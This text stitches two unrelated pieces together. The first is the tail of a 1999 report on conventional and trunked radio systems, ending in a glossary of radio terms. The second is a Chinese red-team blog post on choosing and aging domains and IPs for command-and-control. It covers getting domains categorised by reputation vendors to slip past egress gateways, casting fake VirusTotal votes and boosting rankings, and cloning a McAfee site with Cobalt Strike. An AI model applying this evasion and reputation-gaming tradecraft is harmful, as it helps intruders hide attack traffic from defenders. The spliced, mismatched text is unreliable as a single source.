1997. URL: http:/www.fcc.gov/wtb/plmrs/refarmfq.html [6] Frequency Separation in Land Mobile Radio. Public Safety Wireless Network, August 1997. [7] Federal Standard 1037C. Telecommunications: Glossary of Telecommunication Terms. Prepared By National Communications System Technology and Standards Division. Published By General Services Administration Information Technology Service, 07 August 1996. [8] APCO Project 25 System and Standards Definition. TSB102-A (revision of TSB102). TIA/EIA Telecommunications Systems Bulletin, Telecommunication Industry Association, November 1995. [9] APCO Project 25 FDMA Common Air Interface. New Technology Standards Project. Digital Radio Technical Standards. TIA/EIA-102.BAAA. TIA/EIA Telecommunications Systems Bulletin, Telecommunication Industry Association, May 1998. [10] Mary J. Taylor, Robert C. Epper, Thomas K. Tolman State and Local Law Enforcement Wireless Communications and Interoperability: A Quantitative Analysis. National Institute of Justice Research Report. National Law Enforcement & Corrections Technology Center, Rocky Mountain Region, January 1998. [11] Federal Spectrum Management Processes Report. Final (Revision 1). Public Safety Wireless Network, January 1999. [12] Manual of Regulations and Procedures for Federal Radio Frequency Management. September 1995 Edition. Revisions for September 1996, January and May 1997. U.S. Department of Commerce National Telecommunications and Information Administration. Comparisons of Conventional and Trunked Systems E-1 May 1999 APPENDIX E. GLOSSARY A access method The ability and means necessary to store data, retrieve data, or communicate with a system. FDMA, TDMA and CDMA are examples. [8] analog modulation technique Process whereby message signal, which is the analog of some physical quantity, is impressed on a carrier signal for transmission through a channel (e.g. FM). [10] analog signal 1. A signal that has a continuous nature rather than a pulsed or discrete nature. Note: Electrical or physical analogies, such as continuously varying voltages, frequencies, or phases, may be used as analog signals. 2. A nominally continuous electrical signal that varies in some direct correlation with another signal impressed on a transducer. Note: For example, an analog signal may vary in frequency, phase, or amplitude in response to changes in physical phenomena, such as sound, light, heat, position, or pressure. [7] antenna Any structure or device used to collect or radiate electromagnetic waves. [7] audio throughput delay Waiting time delay from audio input at sending unit until audio output at receiving unit. [8] B backward compatibility Ability of new units to operate within an "old" system infrastructure or to directly intercommunicate with an "old" unit. [8] bandwidth The difference between the limiting frequencies of a continuous frequency band. Typically measured in kilohertz. May be considered the amount in kilohertz required for a single communications channel. [8] base station 1. A land station in the land mobile service. 2. In personal communication service, the common name for all the radio equipment located at one fixed location, and that is used for serving one or several calls. [7] baseband The original band of frequencies produced by a transducer, such as a microphone, telegraph key, or other signal-initiating device, prior to initial modulation. Note 1: In transmission systems, the baseband signal is usually used to modulate a carrier. Note 2: Demodulation recreates the baseband signal. Note 3: Baseband describes the signal state prior to modulation, prior to multiplexing, following demultiplexing, and following demodulation. Note 4: Baseband frequencies are usually characterized by being much lower in frequency than the frequencies that result when the baseband signal is used to modulate a carrier or subcarrier. [7] C call congestion The ratio of calls lost due to a lack of system resources to the total number of calls over a long interval of time. [8] call delay The delay experienced when a call arriving at an automatic switching device finds no idle channel or facility available to process the call immediately. [8] call setup time The overall length of time required to establish a circuit-switched call between users or terminals. [8] carrier 1. A wave suitable for modulation by an information-bearing signal. 2. An unmodulated emission. Note: The carrier is usually a sinusoidal wave or a uniform or predictable series of pulses. Synonym: carrier wave. carrier frequency 1. The nominal frequency of a carrier wave. 2. In frequency modulation, synonym center frequency. [7] carrier sense multiple access (CSMA) A network control scheme in which a node verifies the absence of other traffic before transmitting. [7] catastrophic degradation The rapid reduction of the ability of a system, subsystem, component, equipment, or software to perform its intended function. Note: Catastrophic degradation usually results in total failure to perform any function. [7] Comparisons of Conventional and Trunked Systems E-2 May 1999 channel A single unidirectional or bidirectional path for transmitting or receiving, or both, of electrical or electromagnetic signals. [8] channel capacity The maximum possible information transfer rate through a channel, subject to specified constraints. [7] channel rate The data rate at which information is transmitted through the channel, typically stated in bits per second (bps). [8] channel spacing Typically measured in kilohertz from the center of one channel to the center of the next-adjacent-channel. May, or may not, be identical to bandwidth. [8] channelization The use of a single wideband, i.e., high-capacity, facility to create many relatively narrowband, i.e., lower capacity channels by subdividing the wideband facility. [7] code-division multiple access (CDMA) A coding scheme, used as a modulation technique, in which multiple channels are independently coded for transmission over a single wideband channel. Note 1: In some communication systems, CDMA is used as an access method that permits carriers from different stations to use the same transmission equipment by using a wider bandwidth than the individual carriers. On reception, each carrier can be distinguished from the others by means of a specific modulation code, thereby allowing for the reception of signals that were originally overlapping in frequency and time. Thus, several transmissions can occur simultaneously within the same bandwidth, with the mutual interference reduced by the degree of orthogonality of the unique codes used in each transmission. Note 2: CDMA permits a more uniform distribution of energy in the emitted bandwidth. [7] collision In a transmission system, the situation that occurs when two or more demands are made simultaneously on equipment that can handle only one at any given instant. [7] communications system A collection of individual communications networks, transmission systems, relay stations, tributary stations, and data terminal equipment usually capable of interconnection and interoperation to form an integrated whole. Note: The components of a communications system serve a common purpose, are technically compatible, use common procedures, respond to controls, and operate in unison. [7] comparator In land mobile service, a functional unit that compares strengths of a signal received by different receiving stations and selects the strongest for further processing. conventional radio system Non-trunked, similar to telephone party-line in that the user determines availability by listening for an open channel. [10] coverage 1. In radiocommunications, the geographical area within which service from a radiocommunications facility can be received. [7] 2. The geographic area included within the range of, or covered by, a wireless radio system. Two systems cannot be made compatible through patching unless the coverage areas overlap. [10] D data Representation of facts, concepts, or instructions in a formalized manner suitable for communication, interpretation, or processing by humans or by automatic means. Any representations such as characters or analog quantities to which meaning is or might be assigned. [7] data communication The transfer of information between functional units by means of data transmission according to a protocol. Note: Data are transferred from one or more sources to one or more sinks over one or more data links. [7] de-key Turn the transmitter off (release the Push-to-Talk switch). [8] delay time The sum of waiting time and service time in a queue. [8] demodulation The recovery, from a modulated carrier, of a signal having substantially the same characteristics as the original modulating signal. [7] demultiplexing The separation of two or more channels previously multiplexed; i.e., the reverse of multiplexing. [7] Comparisons of Conventional and Trunked Systems E-3 May 1999 desensitization The reduction of desired signal gain as a result of receiver reaction to an undesired signal. Note: The gain reduction is generally due to overload of some portion of the receiver resulting in desired signal suppression because the receiver will no longer respond linearly to incremental changes in input voltage. [7] digital Characterized by discrete states. [7] digital modulation technique Technique for placing a digital data sequence on a carrier signal for subsequent transmission through a channel. [10] digital signal A signal in which discrete steps are used to represent information. Note 1: In a digital signal, the discrete steps may be further characterized by signal elements, such as significant conditions, significant instants, and transitions. Note 2: Digital signals contain m-ary significant conditions. [7] digital speech interpolation In digital speech transmission, the use of periods of inactivity or constant signal level to increase the transmission efficiency by insertion of additional signals. [7] digitalization The migration from analog to digital communications technologies. duplexer A device that isolates the receiver from the transmitter while permitting them to share a common antenna. Note 1: A duplexer must be designed for operation in the frequency band used by the receiver and transmitter, and must be capable of handling the output power of the transmitter. Note 2: A duplexer must provide adequate rejection of transmitter noise occurring at the receive frequency, and must be designed to operate at, or less than, the frequency separation between the transmitter and receiver. Note 3: A duplexer must provide sufficient isolation to prevent receiver desensitization. [7] E encipher [To] Convert plain text into an unintelligible form by means of a cipher. [7] encode 1. To convert data by the use of a code, frequently one consisting of binary numbers, in such a manner that reconversion to the original form is possible. 2. [To] convert plain text to equivalent cipher text by means of a code. 3. To append redundant check symbols to a message for the purpose of generating an error detection and correction code. [7] encrypt 1. [A] generic term encompassing encipher and encode. 2. To convert plain text into unintelligible forms by means of a cryptosystem. Note: The term "encrypt" covers the meanings of "encipher" and "encode." [7] end-to-end encryption The encryption of information at its origin and decryption at its intended destination without any intermediate decryption. [7] erlang A dimensionless unit of the average traffic intensity (occupancy) of a facility during a period of time, usually a busy hour. Note 1: Erlangs, a number between 0 and 1, inclusive, is expressed as the ratio of (a) the time during which a facility is continuously or cumulatively occupied to (b) the time that the facility is available for occupancy. Note 2: Communications traffic, measured in erlangs for a period of time, and offered to a group of shared facilities, such as a trunk group is equal to the average of the traffic intensity, in erlangs for the same period of time, of all individual sources, such as telephones, that share and are served exclusively by this group of facilities. Synonym traffic unit. [7] erlang-B distribution Erlang distribution of the first kind, or erlang loss formula. [8] erlang-C distribution Erlang distribution of the second kind, or erlang delay formula. [8] F fail-safe operation 1. Operation that ensures that failure of equipment, process, or system does not propagate beyond the immediate environs of the failing entity. 2. A control operation or function that prevents improper system functioning or catastrophic degradation in the event of circuit malfunction or operator error. [7] Comparisons of Conventional and Trunked Systems E-4 May 1999 failure The temporary or permanent termination of the ability of an entity to perform its required function. [7] fault 1. An accidental condition that causes a functional unit to fail to perform its required function. 2. A defect that causes a reproducible or catastrophic malfunction. Note: A malfunction is considered reproducible if it occurs consistently under the same circumstances. 3. In power systems, an unintentional short-circuit, or partial short-circuit, between energized conductors or between an energized conductor and ground. [7] Federal Communications Commission An independent regulatory commission which includes a board of Commissioners, nominated by the President and confirmed by the Senate, having the power to regulate non-Federal wire and radio telecommunications in the United States. [10] format In data transmission, the arrangement of contiguous bits or frame sequences which make a group, word, message or language. [8] frequency For a periodic function, the number of cycles or events per unit time. [7] frequency assignment 1. Authorization, given by an Administration, for a radio station to use a radio frequency or radio frequency channel to use a radio frequency or radio frequency channel under specified conditions. 2. The process of authorizing a specific frequency, group of frequencies, or frequency band to be used at a certain location under specified conditions, such as bandwidth, power, azimuth, duty cycle, or modulation. Synonym radio frequency channel assignment. [7] Frequency Assignment Subcommittee (FAS) An NTIA Interdepartment Radio Advisory Committee subcommittee responsible for reviewing individual agency requests for frequency assignment. It analyzes individual frequency applications for electromagnetic compatibility with existing frequency authorizations. [11] frequency assignment authority The power granted an Administration, or its designated or delegated leader or agency via treaty or law, to specify frequencies, or frequency bands, in the electromagnetic spectrum for use in systems or equipment. Note: Primary frequency assignment authority for the United States is exercised by the National Telecommunications and Information Administration (NTIA) for the Federal Government and by the Federal Communications Commission (FCC) for non- Federal Government organizations. International frequency assignment authority is vested in the Radiocommunication Board of the International Telecommunication Union. frequency bands Frequency bands where land mobile radio systems operate in the United States including the following: High HF 25-29.99 MHz Low VHF 30-50 MHz High VHF 150-174 MHz Low UHF 450-470 MHz UHF TV Sharing 470-512 MHz 700 MHz 764-776/794-806 MHz 800 MHz 806-869 MHz. frequency hopping [The] repeated switching of frequencies during radio transmission according to a specified algorithm, to minimize unauthorized interception or jamming of telecommunications. Note: The overall bandwidth required for frequency hopping is much wider than that required to transmit the same information using only one carrier frequency. [7] frequency modulation Modulation in which the instantaneous frequency of a sine wave carrier is caused to depart from the center frequency by an amount proportional to the instantaneous value of the modulating signal. Note 1: In FM, the carrier frequency is called the center frequency. Note 2: FM is a form of angle modulation. [7] Comparisons of Conventional and Trunked Systems E-5 May 1999 frequency sharing The assignment to or use of the same radio frequency by two or more stations that are separated geographically or that use the frequency at different times. Note 1: Frequency sharing reduces the potential for mutual interference where the assignment of different frequencies to each user is not practical or possible. Note 2: In a communications net, frequency sharing does not pertain to stations that use the same frequency. [7] frequency-division multiple access (FDMA) 1. The use of frequency division to provide multiple and simultaneous transmissions to a single transponder. [7] 2. A channel access method in which different conversations are separated onto different frequencies. FDMA is employed in narrowest bandwidth, multiple-licensed channel operation. [10] full-duplex operation An operating method in which transmission is permitted, simultaneously, in both directions of a telecommunications channel. [8] G gateway 1. An interface that provides the necessary protocol translation between disparate networks. [8] 2. A type of network relay that attaches two networks to build a larger network. A translator of message formats and addresses, gateways typically make connections through a modem to other mail systems or services. [10] graceful degradation Degradation of a system in such a manner that it continues to operate, but provides a reduced level of service rather than failing completely. [7] grade of service (GOS) 1. The probability of a call’s being blocked or delayed more than a specified interval, expressed as a decimal fraction. Note: Grade of service may be applied to the busy hour or to some other specified period or set of traffic conditions. Grade of service may be viewed independently from the perspective of incoming versus outgoing calls, and is not necessarily equal in each direction. 2. In telephony, the quality of service for which a circuit is designed or conditioned to provide, e.g., voice grade or program grade. Note: Criteria for different grades of service may include equalization for amplitude over a specified band of frequencies, or in the case of digital data transported via analog circuits, equalization for phase also. [7] H half-duplex operation Operation in which communication between two terminals occurs in either direction, but only one direction at a time. Note: Half-duplex operation may occur on a half-duplex circuit or on a duplex circuit, but it may not occur on a simplex circuit. Synonyms one-way reversible operation, two-way alternate operation. [7] handoff In mobile systems, the process of transferring a call in progress from one site transmitter and receiver and frequency pair to another site transmitter and receiver using a different frequency pair without interruption of the call. heterodyne 1. To generate new frequencies by mixing two or more signals in a nonlinear device such as a vacuum tube, transistor, or diode mixer. Note: A superheterodyne receiver converts any selected incoming frequency by heterodyne action to a common intermediate frequency where amplification and selectivity (filtering) are provided. 2. A frequency produced by mixing two or more signals in a nonlinear device. [7] hybrid A functional unit in which two or more different technologies are combined to satisfy a given requirement. Note: Examples of hybrids include (a) an electric circuit having both vacuum tubes and transistors, (b) a mixture of thin-film and discrete integrated circuits, and (c) a computer that has both analog and digital capability. Comparisons of Conventional and Trunked Systems E-6 May 1999 I Interdepartment Radio Advisory Committee (IRAC) A committee of appointed Federal agency representatives that serve in an advisory capacity to the Assistant Secretary of Commerce for Communications and Information, and Administrator, NTIA, in carrying out its spectrum management activities. The IRAC comprises a main committee, four subcommittees, and an international group. [11] interference The effect of unwanted energy due to one or a combination of emissions, radiation, or inductions upon reception in a radiocommunication system, manifested by any performance degradation, misinterpretation, or loss of information which could be extracted in the absence of such unwanted energy. [7] intermodulation The production, in a nonlinear element of a system, of frequencies corresponding to the sum and difference frequencies of the fundamentals and harmonics thereof that are transmitted through the element. [7] interoperability 1. The ability of systems, units, or forces to provide services to and accept services from other systems, units, or forces and to use the services so exchanged to enable them to operate effectively together. 2. The condition achieved among communications-electronics systems or items of communications-electronics equipment when information or services can be exchanged directly and satisfactorily between them and/or their users. The degree of interoperability should be defined when referring to specific cases. [7] interoperability standard 1. A document that establishes engineering and technical requirements that are necessary to be employed in the design of systems, units, or forces and to use the services so exchanged to enable them to operate effectively together. [7] 2. Established protocol that provide common interface. [10] interoperation The use of interoperable systems, units, or forces. [7] intersymbol interference 1. In a digital transmission system, distortion of the received signal, which distortion is manifested in the temporal spreading and consequent overlap of individual pulses to the degree that the receiver cannot reliably distinguish between changes of state, i.e., between individual signal elements. Note 1: At a certain threshold, intersymbol interference will compromise the integrity of the received data. Note 2: Intersymbol interference attributable to the statistical nature of quantum mechanisms sets the fundamental limit to receiver sensitivity. [7] K key The parameter defining an encryption code or method. [8] kilohertz (kHz) A unit of frequency denoting one thousand (103) Hz. [7] L lost call A call that has not been completed for any reason other than cases where the call receiver (termination) is busy. [7] M megahertz (MHz) A unit of frequency denoting one million (106) Hz. [7] modulation The process, or result of the process, of varying a characteristic of a carrier, in accordance with an information-bearing signal. [7] modulation scheme The technical process used for transmitting messages through a wireless radio channel. [10] multicast To transmit identical data simultaneously to a selected set of destinations in a network. Comparisons of Conventional and Trunked Systems E-7 May 1999 multipath The propagation phenomenon that results in radio signal’s reaching the receiving antenna by two or more paths. Note 1: Causes of multipath include atmospheric ducting, ionospheric reflection and refraction, and reflection from terrestrial objects, such as mountains and buildings. Note 2: The effects of multipath include constructive and destructive interference, and phase shifting of the signal. Note 3: In facsimile and television transmission, multipath causes jitter and ghosting. [7] multiplexing The combining of two or more information channels onto a common transmission medium. Note: In electrical communications, the two basic forms of multiplexing are time-devision multiplexing (TDM) and frequency-division multiplexing (FDM). [7] mutual aid channel A national or regional channel that has been set aside for use only in mutual aid interoperability situations, usually with restrictions and guidelines governing usage. [10] N narrowbanding The migration to systems operating using narrower bandwidths. National Telecommunications and Information Administration The Executive Branch agency that serves as the President’s principal advisor on telecommunications and information policies and is responsible for managing the Federal Government’s use of the radio spectrum. network An interconnection of three of more communicating entities. [7] O operation The method, act, process, or effect of using a device or system. [7] P packet A sequence of binary digits, including data and control signals, that is transmitted and switched as a composite whole. The data, control signals and possibly error control information, are arranged in a specific format. [8] packet switching The process of routing and transferring data by means of addressed packets so that a channel is occupied during the transmission of the packet only, and upon completion of the transmission the channel is made available for the transfer of other traffic. [8] patch A control center subsystem that permits a mobile or portable radio on one channel to communicate with one or more radios on a different channel through the control center console. [10] priority 1. Priority, unless specifically qualified, is the right to occupy a specific frequency for authorized uses, free of harmful interference from stations or other agencies. [7] 2. In voice communications systems, one of the levels of precedence assigned to a user unit for the purpose of preemption of communication services. propagation The motion of waves through or along a medium. Note: For electromagnetic waves, propagation may occur in a vacuum as well as in material media. [7] protocol A set of unique rules specifying a sequence of actions necessary to perform a communications function. [8] PTT Abbreviation for "Push-to-Talk," the switch on a subscriber unit which, when pressed, causes the subscriber unit to transmit. [8] push-to-talk (PTT) operation In telephone or two-way radio systems, that method of communication over a speech circuit in which the talker is required to keep a switch operated while talking. Note: In two-way radio, push-to-talk operation must be used when the same frequency is employed by both transmitters. For use in noisy environments, or for privacy, some telephone handsets have push-to-talk switches that allow the speaker to be heard only when the switch is activated. Synonym press-to-talk operation. [7] Comparisons of Conventional and Trunked Systems E-8 May 1999 Q quantization A process in which the continuous range of values of an analog signal is sampled and divided into non-overlapping (but not necessarily equal) subranges, and a discrete, unique value is assigned to each subrange. Note: An application of quantization is its use in pulse-code modulation. If the sampled signal value falls within a given subrange, the sample is assigned the corresponding discrete value for purposes of modulation and transmission. [7] quantization noise Noise caused by the error of approximation in quantization. Note: Quantization noise is dependent on the particular quantization process used and the statistical characteristics of the quantized signal. Synonym quantizing noise. [7] queue A set of items, such as telephone calls or packets, arranged in sequence. Note: Queues are used to store events occurring at random times and to service them according to a prescribed discipline that may be fixed or adaptive. [7] queueing The process of entering elements into or removing elements from a queue. [7] queueing delay In a radiocommunication system, the time between the completion of signaling by the call originator and the arrival of a permission to transmit to the call originator. R radio channel An assigned band of frequencies sufficient for radio communication. Note 1: The bandwidth of a radio channel depends upon the type of transmission and the frequency tolerance. Note 2: A channel is usually assigned for a specified radio service to be provided by a specified transmitter. [7] radio equipment As defined in Federal Information Management Regulations, any equipment or interconnected system or subsystem of equipment (both transmission and reception) that is used to communicate over a distance by modulating and radiating electromagnetic waves in space without artificial guide. This does not include such items as microwave, satellite, or cellular telephone equipment. [7] radio frequency (RF) Any frequency within the electromagnetic spectrum normally associated with radio wave propagation. [7] radiocommunication Telecommunication by means of radio waves. [7] refarming An FCC effort to develop a strategy for using private land mobile radio (PLMR) spectrum allocations more effectively so as to meet future communications requirements. This is to be accomplished primarily by dividing channel bandwidths (i.e. narrowbanding). [10] relay Base station that typically receives signals on one frequency, processes and retransmits out on another frequency in order to extend talkout range. [10] RF repeater 1. An analog device that amplifies an input signal regardless of its nature, i.e., analog or digital. 2. A digital device that amplifies, reshapes, retimes, or performs a combination of any of these functions on a digital input signal for retransmission. Note: The term "repeater" originated with telegraphy and referred to an electromechanical device used to regenerate telegraph signals. Use of the term has continued in telephony and data communications. [7] S signal The detectable transmitted energy which carries information from a transmitter to a receiver. [8] simplex operation Operating method in which transmission is made possible alternately in each direction of a telecommunication channel, for example by means of manual control. Note: In general, duplex operation and half-duplex operation require two frequencies in radiocommunication; simplex operation may use either one or two. [7] Comparisons of Conventional and Trunked Systems E-9 May 1999 spectrum The usable radio frequencies in the electromagnetic distribution. Specific frequencies have been allocated to the public safety community. They include: High HF 25-29.99 MHz Low VHF 30-50 MHz High VHF 150-174 MHz Low UHF 450-470 MHz UHF TV Sharing 470-512 MHz 700 MHz 764-776/794-806 MHz 800 MHz 806-869 MHz. Spectrum Planning Subcommittee (SPS) A subcommittee of the Interdepartment Radio Advisory Committee that reviews agency requests for new, or major modifications to, communications or space systems for electromagnetic compatibility and regulatory compliance. [11] spread spectrum 1. Telecommunications techniques in which a signal is transmitted in a bandwidth considerably greater than the frequency content of the original information. Note: Frequency hopping, direct sequence spreading, time scrambling, and combinations of these techniques are forms of spread spectrum. 2. A signal structuring technique that employs direct sequence, frequency hopping or a hybrid of these, which can be used for multiple access and/or multiple functions. This technique decreases the potential interference to other receivers while achieving privacy and increasing the immunity of spread spectrum receivers to noise and interference. Spread spectrum generally makes use of a sequential noise-like signal structure to spread the normally narrowband information signal over a relatively wide band of frequencies. The receiver correlates the signals to retrieve the original information signal. [7] squelch A radio circuit that eliminates noise from the speaker when no transmitted signal is present. [8] subcarrier A carrier used to modulate another carrier, and so on, so that there can be several levels of subcarriers, i.e., several intermediate carriers. [7] subscriber unit A mobile or portable radio unit used in a radio system. [8] Synonym user unit, user radio. system Any organized assembly of resources and procedures united and regulated by interaction of interdependence to accomplish a set of specific functions. [8] system robustness The measure or extent of the ability of a system, such as a computer, communications, data processing, or weapons system, to continue to function despite the existence of faults in its component subsystems or parts. Note: System performance may be diminished or otherwise altered until the faults are corrected. T talk group A subgroup of radio users who share a common functional responsibility and, under normal circumstances, only coordinate actions among themselves and do not require radio interface with other subgroups. [10] telemetry The use of telecommunication for automatically indicating or recording measurements at a distance from the measuring equipment. [7] terminal A device capable of sending, receiving, or sending and receiving information over a communications channel. [7] throughput The number of bits, characters, or blocks passing through a data communication system, or portion of that system. Note 1: Throughput may vary greatly from its theoretical maximum. Note 2: Throughput is expressed in data units per period of time. [7] throughput delay The total time in ms between the initiation of a voice or data signal, i.e., push-to- talk, until the reception and identification of the identical signal at the received output speaker or other device. [8] TIA/EIA-102 Standards A joint government/industry standards-setting effort to develop technical standards for the next generation of public safety radios, both voice and data. [10] Comparisons of Conventional and Trunked Systems E-10 May 1999 time division multiple access (TDMA) 1. A communications technique that uses a common channel (multipoint or broadcast) for communications among multiple users by allocating unique time slots to different users. Note: TDMA is used extensively in satellite systems, local area networks, physical security systems, and combat-net radio systems. [7] 2. A channel access method in which different conversations are separated into different time slots. [10] transceiver A device that performs, within one chassis, both transmitting and receiving functions. [7] transducer A device for converting energy from one form to another for the purpose of measurement of a physical quantity or for information transfer. [7] transmission delay The time in ms required for transmission of a voice frame or data packet through a communication channel. [8] transponder An automatic device that receives, amplifies, and retransmits a signal on a different frequency. [7] Synonym RF repeater. trunk A single transmission channel between two points that are switching centers or nodes, or both. [8] trunked (system) Systems with full feature sets in which all aspects of radio operation, including RF channel selection and access, are centrally managed. [8] trunking An infrastructure dependent technique where communications resources, comprised of more than one logical channel (trunk) are shared amongst system users by means of an automatic resource allocation management technique based upon statistical queueing theory and resident in the system’s fixed infrastructure. Typically usage requests follow a Poisson arrival process and the resource allocator assigns communications resources in response to requests form system users. As demand for service exceeds system capability at that time, service must be increasingly denied immediate access. This action is termed "blocking," with the blocked service request being queued for a later service response. The offered grade of service of the system is inversely proportional to the probability of blocking (e.g. lower probability of blocking offers a higher grade of service potential). The dynamic resource allocation methodology of trunking results in the establishment of functional channels defining resource availability by means of dynamically allocating logical channels both to particular subscribers and for specific functions. These functional channels can be used for the conveyance of payload information, system control or a combination thereof. [8] trunked radio system A system that integrates multiple channel pairs into a single system. When a user wants to transmit a message, the trunked system automatically selects a currently unused channel pair and assigns it to the user, decreasing the probability of having to wait for a free channel for a given channel loading. [10] type 1 product [A] classified or controlled cryptographic item endorsed by the National Security Agency for securing classified and sensitive U.S. Government information, when appropriately keyed. Note: The term refers only to products, and not to information, key, services, or controls. Type 1 products contain classified National Security Agency algorithms. They are available to U.S. Government users, their contractors, and federally sponsored non-U.S. Government activities subject to export restrictions in accordance with International Traffic in Arms Regulation. [7] type 2 product Unclassified cryptographic equipment, assembly, or component, endorsed by the National Security Agency, for use in telecommunications and automated information systems for the protection of national security information. Note: The term refers only to products, and no to information, key, services, or controls. Type 2 products may not be used for classified information, but contain classified National Security Agency algorithms that distinguish them from products containing the unclassified data algorithm. Type 2 products are subject to export restrictions in accordance with the International Traffic in Arms Regulation. [7] Comparisons of Conventional and Trunked Systems E-11 May 1999 type 3 algorithm [A] cryptographic algorithm that has been registered by the National Institute of Standards and Technology and has been published as a Federal Information Processing Standard for use in protecting unclassified sensitive information or commercial information. [7] type 4 algorithm [An] unclassified cryptographic algorithm that has been registered by the National Institute of Standards and Technology, but is not a Federal Information Processing Standard. [7] U user A person, organization, or other entity (including a computer of computer system), that employs the services provided by a telecommunication system, or by an information processing system, for transfer of information. Note: A user functions as a source of final destination of user information, or both. Synonym subscriber. [7] V vocoder Abbreviation for voice-coder. A device that usually consists of a speech analyzer, which converts analog speech waveforms into narrowband digital signals, and a speech synthesizer, which converts the digital signals into artificial speech sounds. Note 1: For communications security purposes, a vocoder may be used in conjunction with a key generator and a modulator-demodulator to transmit digitally encrypted speech signals over narrowband voice communications channels. These devices are used to reduce the bandwidth requirements for transmitting digitized speech signals. Note 2: Some analog vocoders move incoming signals from one portion of the spectrum to another portion. [7] W waveform The representation of a signal as a plot of amplitude versus time. [7] wireless terminal Any mobile terminal, mobile station, personal station, or personal terminal using non-fixed access to the network.
pdf
做红队你需要学习“如何挖掘战壕”(二) 0x00 前言 在这个系列的上一篇文章中,我们主要讲了什么是红队基础设施以及红队基础设施的架构与设计思路。 最后我们分析了构成红队基础设施的几个元素:ip和域名、C2工具、前置器。今天我们主要分析的是IP 和域名,也就是如何选择域名和IP,在攻防对抗中域名和IP是非常重要的元素,在防御上基于域名和IP 数据来追踪攻击是非常重要的手段。因此作为公鸡队一定要选好域名和IP,这样会事半功倍。 0x01 域名的选择 抢注过期域名 这个方法公鸡队小伙伴应该都知道,主要利用的是https://www.expireddomains.net/expired-domain s/ 的数据。这个网站实时更新着快要过期的域名列表。虽然如此,但是目前你很难抢到好域名了,因为 这个方法太出名,全世界的公鸡队都在抢,就是八仙过海各显神通了。 虽然这个方法现在不太好用了,我还是写出来的原因是,我们要明白背后的原理,我们为什么要抢注过 期域名。这是和防御手段对抗密切相关的,很多流量网关设备对出网的域名有限制,这些防御设备会根 据域名的一些维度来综合判断允不允许出网,例如:注册时间、被访问量、网站类型、是否是https、ssl 证书是否合法等等。因此过期域名成了一个香饽饽。 expireddomains这个网站我一度认为是为公鸡队量身打造的,因为他基本列出了公鸡队关注的域名的各 种属性,例如:年龄、反链数、第一个网站快照日期、快照数、还有alexa排名。详细的如图: 当然了,有人的世界天然存在阶级,上面是穷人方案,靠手艺抢注。富人可以靠钱解决,这2个付费的网 站,给钱你就能搞到好的域名,https://www.freshdrop.com/, https://www.domcop.com/ 我没测试 过,我穷。 自己养域名 言归正传,域名的选择大部分思考是围绕的怎么突破流量网关设备的拦截。我们搞不到过期域名,我们 可以做时间的朋友,自己养啊!自己养就涉及到注册域名,这有几个tips,也是我血淋淋的教训: 注册域名不要包含世界大厂和杀毒厂商关键字(比如:McAfee、Google等等) 谨慎注册和目标相似的域名(比如:g00gle和Mc4fee) 注册目标相关地区常见软件相似的域名(比如:xunleidown) 注册域名的时候不要忘记开隐私保护 有些网上文章让你注册和目标相似域名或者大厂相似域名,你要区分好钓鱼域名和c2域名的区别,钓鱼 域名迷惑的是人,c2域名过的是网关设备,设备都是规则,你搞这种相似域名,就是对牛弹琴,它看不 懂,反而直接被告警。但是呢,你可以注册些包含目标相关地区当地比较有名的企业域名,这样工具规 则肯定是不可能识别为恶意,同时如果人工介入分析,也会被迷惑。最后隐私保护一定要开。 域名信誉系统 上面说到我们搞这么多都是为了过流量网关出网,这就涉及到流量网关的一些防控机制。对于流量网关 来说它怎么来判断一个域名的好坏呢?白名单?这样员工估计要造反了,极度影响工作效率。真实情况 是,这些防控设备厂商维护了一套域名信誉系统,就是给一个域名分类,评信誉等级。如下图所示,是 麦咖啡的域名信誉系统。 比如:这个域名就被分类到了business类,信誉等级是Minimal Risk。网关设备就是根据这些来判断一 个域名允不允许访问的。那么问题来了,我们怎么让这些厂商给我们注册的域名分好类呢?上图中也 有,就是你提交自己的域名,点击Check URL,当然在来提交前,你的域名肯定要解析到一个网站。这 有几个tips: 建的网站最好是:金融、医疗、电商、航空等类别,因为国外隐私罚款很重,涉及到大量用户信息 的网站流量网关不敢搞流量解密,不然罚款到破产。那么问题来了,我怎么建这些类的网站呢?用 关键字,改改title,可以研究下SEO手法。还有一个方法是反向代理到不是太出名的这些类网站。 切记不要反代到世界知名网站,后面我会讲一个血淋淋的故事。 根据经验使用知名CMS建站效果比较好。 一般1-2周就能被分类,各个厂商情况不同。 常见的域名信誉评级网站: www.talosintelligence.com exchange.xforce.ibmcloud.com fortiguard.com sitereview.bluecoat.com cymon.io global.sitesafety.trendmicro.com domain.opendns.com tools.zvelo.com www.watchguard.com www.trustedsource.org 因为信誉评级厂商较多,手动肯定是不行了,于是要工具:(不清楚现在这些项目还能用不,我自己写 的一个工具肯定是不能用了,就不发了) github.com/mdsecactivebreach/Chameleon github.com/threatexpress/domainhunter github.com/GhostManager/DomainCheck github.com/Mr-Un1k0d3r/CatMyPhish 养域名的其他经验 因为整理这个资料的时候是19年,所以不清楚这些经验当下是否能用。各位只能自己判断了。 方法1:把域名A记录解析到大厂IP,需要回连的时候再解析到C2。 方法2:有些设备是根据VT上的打分来作为一个判断维度的,就有2个猥琐操作(这个我没实践过) 注册一批VT账户,在VT上给自己域名点绿标 SEO、刷Alexa排名 0x02 IP的选择 IP这块儿没啥说的,唯一注意的是威胁情报系统,不要被打标成恶意IP了,因为很有可能你买的vps,有 前辈已经使用过了,说到这儿,上边的域名同样要去威胁情报系统查下是否被标注恶意了,特别是抢注 的过期域名。 0x03 我的SB故事 有一次我去买了一个域名做培养,域名中包含了McAfee字符串,心想,我再解析到McAfee相关的IP, 最后McAfee网关一定把我当自己人,不拦截我,但是没有找到能够直接IP访问的McAfee相关网站,不 能直接解析A记录。因此我想那就使用cobaltstrike的网站克隆功能。最后效果就是访问我这个包含 McAfee字符串的域名,就显示的是正常的McAfee的一个网站。我心里正美滋滋的得意的时候,一周过 后,我去登录我注册的域名服务商网站,发现用户不存在,这我就纳闷了,我TM不是转穿越了吧,怎么 可能用户不存在,用户输入的是邮箱,尼玛不可能错的。我再去访问我的域名也不存在了。最后我看到 了下图,似乎明白了什么。 还有API,我推测是麦咖啡应该有监控新注册域名,我太招摇里面包含McAfee字符串,又解析到麦咖啡 自己的网站,被识别成钓鱼域名,然后一个API过去,我就GG了。大家有不同见解可以加群讨论。这个 故事中我犯了很多错,所以一定不要聪明反被聪明误。 今天就到这儿吧,下次是C2工具了,也就是cobaltstrike,我不会完整讲CS,也讲不完,只说和流量相 关的东西。大部分内容应该都不稀奇,最多就是包含了一些个人经验。 